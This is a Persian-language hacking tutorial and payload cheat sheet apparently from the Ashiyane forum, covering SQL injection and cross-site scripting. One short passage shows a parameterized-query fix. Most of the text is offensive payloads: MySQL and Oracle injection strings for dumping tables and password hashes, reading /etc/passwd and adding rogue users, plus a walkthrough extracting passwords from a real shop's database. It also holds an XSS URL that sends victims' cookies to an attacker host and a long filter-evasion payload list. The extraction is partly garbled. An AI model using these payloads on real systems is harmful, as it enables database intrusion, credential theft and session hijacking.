xss-sql
TRANSCRIPT
به نام او که زیبایی ها را افرید
SQL INJECTION , XSS مقالھ دستورات
yahoo2010: نویسنده
تا حرفھ ای متوسط : سطح مقالھ
http://ashiyane.org/forums: ادرس سایت
Y ! : ali_rezamilan
1390/ 06/ 06: تاریخ
فھرست
مقدمھ – 1
2 - sql injection
3 – xss
مقدمھ
SQL Injection
آیا در . مواد سمی به جای دارو از میان بر می دارند فیلمھای سینمایی دیده اید که بسیاری از تبھکاران قربانیان خود را با تزریق حتما درمی . از این شگرد استفاده می کنند ھکرھا ھم به نوعی!! ایده ھایی وجود دارد؟ در کمال تعجب باید بگویم که بله دنیای سایبر نیز چنین
:روشن تر کنم اجازه دھید تا با یک مثال مطلب را! شما Application مورد عالقه خود به SQL گویید چگونه؟ با تزریق کردن دستورات
:Login سیستم
آن را SQL گرفته و سپس با استفاده از یک دستور را از کاربر Password و ID معموال دارای فیلدھایی ھستند که دو مقدار Login صفحات :ای از این دستور به صورت زیر است نمونه ساده. پردازش می کنند
SELECT+COUNT(UserID)+FROM+tblUsers+WHERE+UserID=’” & UserID.Text & “‘ AND Pass=’” & Password.Text & “‘”
حال فرض می کنیم کاربر . مورد پردازش قرار گیرد ھستند که مقادیر آنھا بایستی TextBox دو کنترل Password و UserID مثال در این :به صورت زیر تولید می شود SQL وارد نماید، در این صورت جمله ١٢٣ و mahdi مقادیر را به صورت
SELECT+COUNT(UserID)+FROM+tblUsers+WHERE+UserID=’mahdi’+AND+Pass=’123′
:حال فرض کنید که ھکر ما به جای کلمه کاربری خود عبارت زیر را وارد نماید. خوب تا اینحا مشکلی وجود ندارد
‘ OR 1=1 –
:زیر تولید خواھد شد SQL در این صورت عبارت
SELECT+COUNT(UserID)+FROM+tblUsers+WHERE+UserID=”OR 1=1 –AND PASS=” دیگر پردازش نمی شود لذا ھنگام پردازش دستور چون عالمت توضیحات است و عبارت پس از آن SQL در –احتماال می دانید که کاراکتر
کلیه رکوردھای تلقی شده و کافی UserID 1=1 به کار رفته، بدون توجه به خالی بودن مقدار مقابل OR به است و با توجه ١=١ھمواره .می شود Authenticate اصطالحا Attacker بانک اطالعاتی برگردانده می شود و
SQL ذکر است که این حمالت در پایگاه اطالعاتی آنکه به ارائه راه حل این حفره امنیتی خودساخته بپردازیم این نکه شایان پیش ازServer رد بررسی قرار خواھد گرفتکه در قسمت دوم مقاله مو بسیار پیچیده تر است.
!چاره کار
حال ما کد کامل اصالح شده را . را داده است و امکانات این ساختار به برنامه نویسان امکان مانور بیشتری ASP.NET گرای ساختار شی :را ذکر می کنیم در زیر آورده و سپس توضیحات آن
:کد
Dim strSQL As String = “SELECT COUNT(UserID) FROM tblUsers WHERE UserID=@UserID AND Password=@Password” Dim cmndCheck As OleDbCommand = New OleDbCommand(strSQL, _Connection)
cmndCheck.Parameters.Add(”@UserID”, UserID.Text); cmndCheck.Parameters.Add(”@Password”, Password.Text); cmndCheck.Connection.Open() Dim IsValid As Integer = cmndCheck.ExecuteScalar()
If IsValid > 0 ‘… Some Code here… User is authenticated Else ‘… Some Code here… User is not aututorized to view the page End If
به خورد Single Quote از فیلدھا با ادیر دریافتیمشخص است این بار به جای اینکه مق SQL ھمان خط اول یعنی دستور تغییر در cmndCheck جایگزین می شود و در آخر OleDbCommand پارامترھای تولید شده توسط آبجکت پردازشگر دستور داده شود مقادیر با
د مور یک رکورد با شرایطاز صفر باشد بدین معنی است که حداقل بزرگتر ExecuteScalar پردازش شده چنانچه مقدار تولید شده توسط
.ما پیدا شده است
) شما قرار گیرد دانسته فرض شده است ConnectionString که باید برابر _Connection متغیر(
پارامتری شده پردازش می شوند نه به “ کامال روش نسبت به روش ناامن قبلی این است که در اینجا مقادیر به صورت اصلی این تقاوتتکنیکھای رشته سازی با در واقع ما در اینجا از. به شمار می آید SQL Injection در واقع دام اصلی قطعاتی از یک رشته حرفی کهصورت
.اجتناب کرده ایم+ یا & استفاده از
ا استفاده می ھکرھا برای حمله به سایت شم دیگری که باید حتما مورد توجه قرار دھید این است که یکی از راھھایی که نکته مھماتفاق که می تواند برای جلوگیری از این. و مطالعه اطالعات خطای دریافت شده است Application کنند خطاسازی صوری در زمان اجرای
شده Customize خود از روال خطایابی Application آشکار کند حتما در ساختار بعضی از قسمتھای کد شما را برای حمله کنندگان .کنید استفاده
:SQL Injection مثال ھای تصویری از
XSS
XSS یا ھمونCSS کھ مخفف کلمھ Cross Site Scripting می باشد یکی از انواع حمالت بھ وب سایت ھا می باشد کھ در این نوع
کاربران مورد ھدف واقع می شوندرا برای XSS ھستش متخصصین کامپیوتر برای جلو گیری از اشتباه نام Cascading Style Sheat مخفف کلمھ CSS خودتون میدونید
.این نوع حملھ انتخاب کردند
پس از اینکھ صفحات حالت پویا بھ خود گرفت نفوذگرھا پی بھ یکی از حفره ھای اینگونھ سایت ھا بردند از کاربر درخواست کند Query stringاین حفره بیشتر زمانی رخ می دھد کھ سایت اطالعات کاربر را توسط
: برای مثال
http://www.folan.com/login.php?bahman= کرده دریافت کھ عبارتی
حاال نفوذ گر میتونھ بھ جای اون عبارت اسکریپت خودش را بنویسھ
http://www.folan.com/login?bahman=<h1>salam</h1>
را نوشت html این یھ مثال ساده بود کھ فقط نفوذ گر کد حاال اگھ بخواد کوکی ھای کاربرا را ھم بگیره بھ راحتی میتونھ اینکار را انجام بده
مثآل فرض کنید یک سایت برای اینکھ کاربراش دیگھ نام کاربری و رمز عبور را وارد نکنن یھ گزینھ گزاشتھ بھ نام مرا بھ خاطر
.بسپارروی سیستم کاربر ذخیره میکنھ و ھر بار کھ کاربر صفحھ سایت را باز cookie وقتی کاربر روی این گزینھ کلیک میکنھ سایت
میکنھ سایت این کوکی را میخونھ و بھ وی اجازه ورود میده
حاال نفوذ گر کد زیر را اعمال میکنھ
http://foloan/bahman.php/n=<script>document.location.replace('http://nofozgar/begir?borohalakon=document.cookie)</script>
(;کار تمومھ
SQL PHP WITH BYPASS
-999/**/order/**/by/**/cloumn/*
------------------------------
-999/**/and/**/1=0/**/union/**/all/**/select/**/cloumn/*
------------------------------
-999+order+by+cloumn--
------------------------------
-999+and+1=0+union+all+select+cloumn--
------------------------------
-999+and+1=0+union+all+select+cloumn+from+user--
------------------------------
Note : version 4 bayad name table ha ro hads zad : from+user or users or ...
------------------------------
-999+and+1=0+union+all+select+cloumn(1,2,user,password)+from+users--
------------------------------
-999/**/and/**/1=0/**/Union/**/all/**/Select+column/**/from+iNformatTion_Schema--
------------------------------
For get tables :
-999+and+1=0+Union+all+Select+column+(table_name)+from+iNformatTion_Schema.tables--
------------------------------
For get tables with bypass :
-999/**/and/**/1=0/**/Union/**/all+Select/**/column+(table_name)+from+iNformatTion_Schema.tables--
------------------------------
For get tables with group_concat :
-999+and+1=0+Union+all+Select+column+group_concat(table_name)+from+iNformatTion_Schema.tables--
------------------------------
Note : baraye Get kardane column ha be jaye (table_name) va information_schema.tables gharar bedin : (column_name) va information_schema.columns
------------------------------
Illegal in Command :
-999+Union+Select+all+1,2,unhex(hex(group_concat(column_name))),4,5,6,7,8+from+iNformation_schema.columns--
-999+Union+Select+all+1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8+from+iNformation_schema.tables--
------------------------------
SQL ASP
'having 1=1-- dar login or username bad login konid
avalin table mesal:
b2b_supplier_id
b2b_supplier_loginname
------------------------------
'group by b2b_supplier_id having 1=1-- ( dobare dakhele login or username bad login konid ta table badi bedast biad )
------------------------------
------------------------------
'group by b2b_supplier_id,b2b_supplier_loginname having 1=1-- ( be hamin tartib ta bedast avardane table akhar )
------------------------------
Note : inghad mirim julu ta dg be ma error nade
------------------------------
MYSQL INJECTION COMMAND
Basics ( انی مب )
SELECT * FROM login /* foobar */ SELECT * FROM login WHERE id = 1 or 1=1 SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"
Variations ( ھنر تنوع )
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"
SHOW TABLES SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES SELECT VERSION SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION() SELECT host,user,db from mysql.db SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;
Blind injection vectors ( تزریق بلیند VECTORS )
Operators :
SELECT 1 && 1; SELECT 1 || 1; SELECT 1 XOR 0;
Evaluate :
all render TRUE or 1. SELECT 0.1 <= 2; SELECT 2 >= 2; SELECT ISNULL(1/0);
Math :
SELECT FLOOR(7 + (RAND() * 5)); SELECT ROUND(23.298, -1);
Misc :
SELECT LENGTH(COMPRESS(REPEAT('a',1000))); SELECT MD5('abc');
Benchmark :
SELECT BENCHMARK(10000000,ENCODE('abc','123')); this takes around 5 sec on a localhost
SELECT BENCHMARK(1000000,MD5(CHAR(116))) this takes around 7 sec on a localhost
SELECT BENCHMARK(10000000,MD5(CHAR(116))) this takes around 70 sec on a localhost
Using the timeout to check if user exists :
SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login
Gathering info ( جمع اوری اطالعات )
Table mapping :
SELECT COUNT(*) FROM tablename
Field mapping :
SELECT * FROM tablename WHERE user LIKE "%root%" SELECT * FROM tablename WHERE user LIKE "%" SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL; SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;
User mapping :
SELECT * FROM tablename WHERE email = '[email protected]'; SELECT * FROM tablename WHERE user LIKE "%root%" SELECT * FROM tablename WHERE user = 'username'
Advanced SQL vectors : ( تزریق حرفھ ای vectors )
Writing info into files
SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE '/path/location/on/server/www/passes.txt'
Writing info into files without single quotes: (example)
SELECT password FROM tablename WHERE username = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
The CHAR() quoteless function
SELECT * FROM login WHERE user = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
SELECT * FROM login WHERE user = CHAR(39,97,39)
Extracting hashes :
SELECT user FROM login WHERE user = 'root' UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x')),null) FROM login
Example :
SELECT user FROM login WHERE user = 'admin' UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x')),null) FROM login
SELECT user FROM login WHERE user = 'admin' UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97), BENCHMARK(1000000,MD5('x')),null) FROM login
explaining: (password field,start character,select length) :
is like: (password,1,2) this selects: ‘ab’ is like: (password,1,3) this selects: ‘abc’ is like: (password,1,4) this selects: ‘abcd’
A quoteless example :
SELECT user FROM login WHERE user = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97), BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login
to 9 – ASCII 48 to 57 ~ a to z – ASCII 97 to 122 0 : چار ھای کھ اجازه دارد
Misc : ( متفرقھ )
Insert a new user into DB :
INSERT INTO login SET user = 'r00t', pass = 'abc'
Retrieve /etc/passwd file, put it into a field and insert a new user :
load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user = 'r00t', pass = 'abc'
Then login !
Write the DB user away into tmp :
SELECT host,user,password FROM user into outfile '/tmp/passwd';
Change admin e-mail, for “forgot login retrieval.”
UPDATE users set email = '[email protected]' WHERE email = '[email protected]';
Bypassing PHP functions : ( بای پس کردن فاکشیون )
(MySQL 4.1.x before 4.1.20 and 5.0.x)
Bypassing addslashes() with GBK encoding :
WHERE x = 0xbf27admin 0xbf27
Bypassing mysql_real_escape_string() with BIG5 or GBK :
"injection string" に関する追加情報:
the above chars are Chinese Big5 ( یک چار از چین )
Advanced Vectors : ( پیشرفتھ vectors )
Using an HEX encoded query to bypass escaping :
Normal :
SELECT * FROM login WHERE user = 'root'
Bypass :
SELECT * FROM login WHERE user = 0x726F6F74
Inserting a new user in SQL :
Normal :
insert into login set user = ‘root’, pass = ‘root’
Bypass :
insert into login set user = 0x726F6F74, pass = 0x726F6F74
How to determin the HEX value for injection :
SELECT HEX('root');
gives you :
726F6F74
then add :
0x
Update database MYSQL in SQL injection
MYSQLاپدیت در دیتابیس
اپدیت در دیتابیس ھمیشھ عملی نیست و گاھی با مشکل روبرو میشھ » نکتھ
: USERدر جدول USERNAMEبرای اپدیت فیلد
--’ update+user+set+username=’alireza’WWW.SITE.COM/INDEX.PHP?ID=42
) برای پسورد حتما باید ھش بکار رود ( :مورد نظر passwordبرای اپدیت
e10adc3949ba59abbe56e057f20f883e : 123456
WWW.SITE.COM/INDEX.PHP?ID=42’ update+user+set+password=’ e10adc3949ba59abbe56e057f20f883e’--
Oracle SQL Injection in web applications
Common SQL Injection Strings for Oracle Databases
در این قسمت بھ کد ھای تزریق برای دیتابیس اورکال میپردازیم
ھمراه با مثال تصویری
: 1 دستور
' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
: شرح دستور
Display the database version information in an error message (injected into a string) [low privilege]
: عکس بھ عنوان مثال
)مشکالت مشترک ( Common Problems
Java not installed Oracle 11g ACL PUBLIC privilege removed
==> use an alternative function
: 2دستور
or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
: شرح دستور
Display the database version information in an error message (injected into an integer) [low privilege]
: عکس بھ عنوان مثال
مشکالت مشترک
Java not installed Oracle 11g ACL PUBLIC privilege removed
==> use an alternative function
: 3دستور
or 1=utl_inaddr.get_host_address((select sys.stragg (distinct username||chr(32)) from all_users))--
: شرح دستور
Display a list of all usernames (11g only) [low privilege]
: عکس بھ عنوان مثال
مشکالت مشترک
if stragg, it is possible to do the same using XMLDB stragg is limited to 4096 bytes
: 4دستور
or 1=utl_inaddr.get_host_address((Select granted_role from ( select rownum r, granted_role from user_role_privs) where r=1))
: شرح دستور
Get the privileges of this account. Iterate via r=1, r=2, r=3, ... [low privilege]
:عکس بھ عنوان مثال
مشکالت مشترک
No
: 5دستور
or 1=utl_inaddr.get_host_address((SELECT sys_context('USERENV', 'ISDBA') FROM dual)) or 1=utl_inaddr.get_host_address((SELECT sys_context((select chr(85)||chr(83)||chr(69)||chr(82)||chr(69)||chr(78)||chr(86) from dual), (select chr(73)||chr(83)||chr(68)||chr(66)||chr(65) from dual)) FROM dual))
: شرح دستور
check if DBA, result: TRUE or FALSE [low privilege]
: عکس بھ عنوان مثال
مشکالت مشترک
If the usage of single quotes returns an ORA-0911 (invalid character) you should use the second string
: 6دستور
or 1=utl_inaddr.get_host_address((select sys.stragg (distinct table_name||chr(58)||column_name||chr(58)||data_type||chr(58)||column_id||chr(59)) from user_tab_columns order by table_name,column_id))--
: شرح دستور
Get a list of all user tables including the column name and type [low privilege]
: عکس بھ عنوان مثال
No
: مشکالت مشترک
No
Oracle Common Commands
String Concatenation Description
'a' || 'b' concatenate 2 strings together. This syntax can be used for the split-and-balance technique.
concat('a','b') concatenate 2 strings together via the concat group.
TBD Read files in SELECT statements.
Blind SQL Injection
Generating Oracle Error Messages containing information
String Concatenation
Message
1 or 1 = ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--
ORA-53044: Invalid Tag: ORACLE DATABASE 11G ENTERPRISE EDITION RELEASE 11.1.0.7.0 -
PRODUCTION
1 or 1= CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))--
ORA-20000: Oracle Text-Error: DRG-11701: Thesaurus Oracle Database 11g Enterprise Edition Release
11.1.0.7.0 - Production does not exists
انجکت اورکال با تصویر
:اول باید سایت لوگین اسیب پذیر رو اجرا کنیم
. اون رو validدر این قسمت لوگین ما میتوانیم بھ دایکتوری طرف وارد شیم اگھ ما حدس بزنیم ترکیب باشد و ھمراه با دریافت پیغام خطا scottبھ عنوان مثال
خوب میریم با استفاده از یک قضیھ برای ورود بھ سایت عمل کنیم
”ORA-01756 - Anführungsstrich fehlt bei Zeichenfolge“: مقدار
بھ چھ معناست ؟
خوب این سایت از زبان المانی استفاده میکنھ و باید این مورد رو یھ جوری با خودمون کنار بیایم کھ اگھ : شما زبان المانی بلد نیستید بھ این قسمت در گوگل بروید
01756-http://www.google.com/search?q=ora
برای ترجمھ کردن این خطا
: بلھ سایت این سایت بھ ما گفتھ جریان چیھ
http://www.techonthenet.com/oracle/errors/ora01756.php
: کھ من عکس از اون صفحھ رو واستون گرفتم و اینجا میزارم
.است sql injectionبلھ این خطا بھ ما میگھ کھ این پیام خطا مشترک از یک اسیب پذیری
دیگھ استفاده میکنم تا ببنیم این بار چی میگھ بھ ما stringحاال از یک رشتھ تزریق یا
‘ or 1=1--
استفاده کرد چون این صفحھ نمیتواند از UNION SELECTیھ ھیچ عنوان نمیشھ از این صفحھ از . پایگاه اطالعاتی عمل برگشت اطالعات رو انجام بده
اما مرحلھ بعدی چیھ ؟
شمارش پایگاه اطالعاتی – 1
حاال بریم برای پیدا کرد ورژن در اورکال دیتابیس
بریم از دستور زیر برای ورود بھ سایت استفاده کنیم ببینیم جواب میگیریم یا نھ
: کد
‘ or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
سیستم این فیلد برای ورود بھ. اما این بار این مشکل متفاوت ھستش . ORA-01756بلھ بازم خطای . کاراکتر است 50ولی کد تزریق ما بیشتر از . محدود کرده است 50کاراکتر را بھ
کھ خاصیت ھای چون از بین بردن محدودیت ھای انالین استفاده میکنیم firefoxدر این جا ما از افزونھ : و چند نوع دیگر میباشد بھ ادرس زیر
developer-https://addons.mozilla.org/de/firefox/addon/web
or
https://addons.mozilla.org/de/firefox/addon/60
URLرو تغییر بدیم در stringما میتونیم رشتھ تزریق یا ھمون Getبھ postبعد از تبدیل
: ORA-01756بلھ بازم بھ خطای
ORA-24247 Netzwerkzugriff von Access Control List (ACL) abgelehnt.
: سریع میریم و ترجمھ میکنیم بھ زبان انگلیسی
ORA-24247 network access denied by access control list (ACL)
ما قادر بھ ارسال اطالعات از طریق . بلھ قسمت امنیت در اورکال بھ طور پیش فرض در حال کار کردن است DNS نیستیم و یا ایجاد پیام خطای خاص با استفاده ازutl_inaddr
http://psoug.org/reference/utl_inaddr.html
: عکس مشخصات
: از تابع زیر استفاده میکنیم ult_inaddrبرای جایگزین
ctxsys.drithsx.sn
: ما با جایگزین کردن این مورد از کد جدید زیر استفاده میکنیم
‘ or 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))--
بعد از تزریق این کد ما ھمواره خطای زیر را دنبال میکنیم
ORA-20000: Oracle Text-Fehler: متن خطا
DRG-11701: 11.1.0.7.0تصدی نسخھ انتشار 11gداده اوراکال اصالح نامھ پایگاه
. در سطر بھ وجود امده است $ vاست کھ در داده پایگاه نسخھ حاویپیغام خطا
(select banner from v$version where rownum=1)
می تواند ستون 1محدودیت، از مجموع .است سطر 1 و ستون 1 محدود بھ بھ طور معمول تزریقیپیغام خطا ھای از ردیف محدودیت برای دور زدن .(col1 | | col2) | | الحاق رشتھ ھا از استفاده با باشد دور زدن
. انجام میشھ rownum مختلف با استفاده از شمردن ھای ستون از طریق pentesters بیشتر
stragg: ھاد میکند تابع جدید پیشن 11gاما اوراکل در
.تبدیل کنید سطر را بھ یک چند ردیف از می توانید توابعاین
: کنید استفاده در پیام خطا ھا ستون برای دریافت تمام stragg تابع ھم اکنون می توانید ما
‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct banner)||’ ‘ from v$version))--
با توجوه بھ امتیازات دریافت کنیم داده پایگاه از تمام داده ھا برای بازیابی ھمھ چیز را بایددر حال حاضر ما
حال بیاید ببینید کھ ما چھ دسترسی داریم
: با توجھ بھ دستور زیر
‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct granted_role||’;') from user_role_privs))--
ما اتصال و مبنا در ھمین حد رو داریم
: رمز عبور ستون جداول توسط برای دریافت تمام بعدی این است کھگام
: دستور تزریق
‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct owner||’.'||table_name||’['||data_type||’];’) from all_tab_columns where column_name=’PASSWORD’))--
برای دستور زیر از استفاده با در حال حاضر ما .وجود دارد SHOP.SHOWUSER نام بھجدول .این جدول از را تمام کلمات عبور استخراج
: دستور برای تزریق
‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct password||’;') from shop.shopuser))--
را از UNION SELECT بدون استفاده از را جدول تمام محتوای ما می توانیم این رویکرد از استفادهبا .کنیم بازیابی جدول
: هدشاستفاده تزریق دستورات از ایخالصھ
‘ or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
‘ or 1=utl_inaddr.get_host_address((select sys.stragg(distinct granted_role||’;') from user_role_privs))--
‘ or 1=utl_inaddr.get_host_address((select sys.stragg(distinct owner||’.'||table_name||’['||data_type||’];’) from all_tab_columns where column_name=’PASSWORD’))--
‘ or 1=utl_inaddr.get_host_address((select sys.stragg(distinct password||’;') from shop.shopuser))--
Strings SQL :
'
/
-
*
Xss ( cross site scripting )
میپردازیم xssخوب در این بخش بھ دستورات
><SCRIPT>alert(“XSS”);</SCRIPT
<script><img=http://up6.iranblog.com/uploads/13140259851.jpg>hack by yahoo2010</img></script>
<script>alert("String.fromCharCode(104, 97, 99, 107, 32, 98, 121, 32, 121, 97, 104, 111, 111, 50, 48, 49, 48)")</script><
“><h1><img=http://up6.iranblog.com/uploads/13140259851.jpg>hack by yahoo2010</img></h1>
"><iframe src=http://www.google.de>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SC
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>alert(/XSS/.source)</SCRIPT>
\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG LOWSRC="javascript:alert('XSS')">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029'\0029">
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
“><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
‘; alert(document.cookie); var foo=’
Special Tnx 2 :ashiyane digital Security Team, All Iranian Hackerz ©® Copy Right For :ashiyane digital Security team 2011
For more Informattion go to : http://ashiyane.org/